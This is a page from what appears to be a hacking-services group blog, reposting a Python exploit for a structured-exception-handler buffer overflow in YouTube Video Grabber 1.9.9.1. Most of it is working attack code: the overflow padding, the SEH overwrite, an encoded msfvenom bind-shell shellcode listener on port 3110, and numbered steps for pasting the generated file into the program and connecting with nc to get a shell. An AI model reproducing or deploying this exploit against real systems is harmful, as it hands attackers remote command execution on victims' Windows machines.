Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863561212

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: YouTube Video Grabber 1.9.9.1 - Buffer Overflow (SEH)
# Date: 01.11.2021
# Software Link:   https://www.litexmedia.com/ytgrabber.exe
# Exploit Author: Achilles
# Tested Version: 1.9.9.1
# Tested on: Windows 7 64bit

# 1.- Run python code : YouTube.py
# 2.- Open EVIL.txt and copy All content to Clipboard
# 3.- Open YouTube Video Grabber and press Enter Code
# 4.- Paste the Content of EVIL.txt into the 'Name and Serial Nummer'
# 5.- Click 'OK'
# 6.- Nc.exe Local IP Port 3110 and you will have a bind shell
# 7.- Greetings go:XiDreamzzXi,Metatron

#!/usr/bin/env python

import struct

buffer = "\x41" * 712
nseh = "\xEB\x06\x90\x90" #jmp short 6
seh  =  struct.pack('<L',0x01c5642e) #pop ecx # pop ecx # ret  |  {PAGE_EXECUTE_WRITECOPY} [YouTubeGrabber.exe
nops =  "\x90" * 20
#msfvenom -p windows/shell_bind_tcp LPORT=3110 -f py -e x86/alpha_mixed EXITFUNC=thread -b "\x00\x0a\x0d\x20"
buf =  b""
buf += b"\x89\xe1\xd9\xc6\xd9\x71\xf4\x5d\x55\x59\x49\x49\x49"
buf += b"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += b"\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += b"\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x6b\x4c\x49\x78\x6e"
buf += b"\x62\x63\x30\x37\x70\x63\x30\x71\x70\x6d\x59\x4d\x35"
buf += b"\x56\x51\x6f\x30\x61\x74\x6c\x4b\x72\x70\x46\x50\x6e"
buf += b"\x6b\x43\x62\x56\x6c\x6c\x4b\x30\x52\x35\x44\x4c\x4b"
buf += b"\x31\x62\x54\x68\x74\x4f\x6e\x57\x42\x6a\x31\x36\x75"
buf += b"\x61\x49\x6f\x4e\x4c\x65\x6c\x50\x61\x33\x4c\x43\x32"
buf += b"\x36\x4c\x67\x50\x69\x51\x5a\x6f\x66\x6d\x47\x71\x5a"
buf += b"\x67\x4b\x52\x79\x62\x36\x32\x56\x37\x6e\x6b\x62\x72"
buf += b"\x44\x50\x4c\x4b\x51\x5a\x67\x4c\x6c\x4b\x52\x6c\x34"
buf += b"\x51\x32\x58\x5a\x43\x70\x48\x66\x61\x48\x51\x63\x61"
buf += b"\x6e\x6b\x31\x49\x31\x30\x65\x51\x38\x53\x4e\x6b\x50"
buf += b"\x49\x45\x48\x6a\x43\x77\x4a\x57\x39\x6c\x4b\x57\x44"
buf += b"\x6c\x4b\x76\x61\x4a\x76\x76\x51\x39\x6f\x6e\x4c\x4a"
buf += b"\x61\x5a\x6f\x34\x4d\x66\x61\x58\x47\x47\x48\x6d\x30"
buf += b"\x63\x45\x4a\x56\x54\x43\x71\x6d\x39\x68\x37\x4b\x71"
buf += b"\x6d\x57\x54\x62\x55\x68\x64\x56\x38\x6c\x4b\x30\x58"
buf += b"\x31\x34\x73\x31\x48\x53\x53\x56\x6e\x6b\x76\x6c\x52"
buf += b"\x6b\x6c\x4b\x32\x78\x65\x4c\x33\x31\x69\x43\x4c\x4b"
buf += b"\x77\x74\x4c\x4b\x65\x51\x38\x50\x6e\x69\x77\x34\x56"
buf += b"\x44\x65\x74\x31\x4b\x33\x6b\x50\x61\x42\x79\x73\x6a"
buf += b"\x30\x51\x6b\x4f\x4d\x30\x63\x6f\x61\x4f\x33\x6a\x6e"
buf += b"\x6b\x56\x72\x78\x6b\x4e\x6d\x61\x4d\x31\x78\x47\x43"
buf += b"\x46\x52\x37\x70\x75\x50\x52\x48\x62\x57\x70\x73\x45"
buf += b"\x62\x43\x6f\x42\x74\x63\x58\x50\x4c\x62\x57\x55\x76"
buf += b"\x36\x67\x59\x6f\x4a\x75\x6e\x58\x4c\x50\x37\x71\x75"
buf += b"\x50\x67\x70\x51\x39\x39\x54\x46\x34\x62\x70\x42\x48"
buf += b"\x44\x69\x4f\x70\x30\x6b\x75\x50\x59\x6f\x48\x55\x32"
buf += b"\x4a\x53\x38\x76\x39\x50\x50\x69\x72\x59\x6d\x37\x30"
buf += b"\x70\x50\x37\x30\x50\x50\x61\x78\x69\x7a\x54\x4f\x4b"
buf += b"\x6f\x59\x70\x59\x6f\x58\x55\x4e\x77\x31\x78\x34\x42"
buf += b"\x57\x70\x66\x6c\x74\x66\x4e\x69\x59\x76\x73\x5a\x44"
buf += b"\x50\x71\x46\x71\x47\x33\x58\x6a\x62\x79\x4b\x30\x37"
buf += b"\x50\x67\x59\x6f\x79\x45\x56\x37\x70\x68\x4d\x67\x39"
buf += b"\x79\x67\x48\x6b\x4f\x79\x6f\x4b\x65\x36\x37\x71\x78"
buf += b"\x44\x34\x68\x6c\x55\x6b\x38\x61\x69\x6f\x5a\x75\x70"
buf += b"\x57\x6d\x47\x75\x38\x42\x55\x42\x4e\x32\x6d\x71\x71"
buf += b"\x6b\x4f\x4a\x75\x62\x48\x71\x73\x52\x4d\x61\x74\x55"
buf += b"\x50\x6d\x59\x68\x63\x73\x67\x63\x67\x61\x47\x76\x51"
buf += b"\x5a\x56\x32\x4a\x75\x42\x51\x49\x63\x66\x59\x72\x79"
buf += b"\x6d\x43\x56\x78\x47\x37\x34\x57\x54\x65\x6c\x46\x61"
buf += b"\x67\x71\x6e\x6d\x43\x74\x76\x44\x64\x50\x4b\x76\x67"
buf += b"\x70\x70\x44\x42\x74\x50\x50\x52\x76\x30\x56\x63\x66"
buf += b"\x42\x66\x52\x76\x52\x6e\x36\x36\x51\x46\x46\x33\x46"
buf += b"\x36\x42\x48\x44\x39\x6a\x6c\x35\x6f\x6e\x66\x59\x6f"
buf += b"\x78\x55\x6d\x59\x4b\x50\x32\x6e\x62\x76\x42\x66\x6b"
buf += b"\x4f\x36\x50\x75\x38\x63\x38\x6f\x77\x65\x4d\x51\x70"
buf += b"\x39\x6f\x49\x45\x6d\x6b\x59\x70\x65\x4d\x67\x5a\x54"
buf += b"\x4a\x35\x38\x4d\x76\x6c\x55\x6f\x4d\x6d\x4d\x4b\x4f"
buf += b"\x68\x55\x35\x6c\x56\x66\x53\x4c\x35\x5a\x6b\x30\x69"
buf += b"\x6b\x59\x70\x50\x75\x37\x75\x6d\x6b\x72\x67\x32\x33"
buf += b"\x33\x42\x70\x6f\x43\x5a\x37\x70\x31\x43\x79\x6f\x79"
buf += b"\x45\x41\x41"
pad ="B" * (7280 - len(buffer) - len(nseh+seh) - len(nops) -len(buf))
payload = buffer + nseh + seh + nops + buf + pad

try:
    f=open("Evil.txt","w")
    print "[+] Creating %s bytes evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"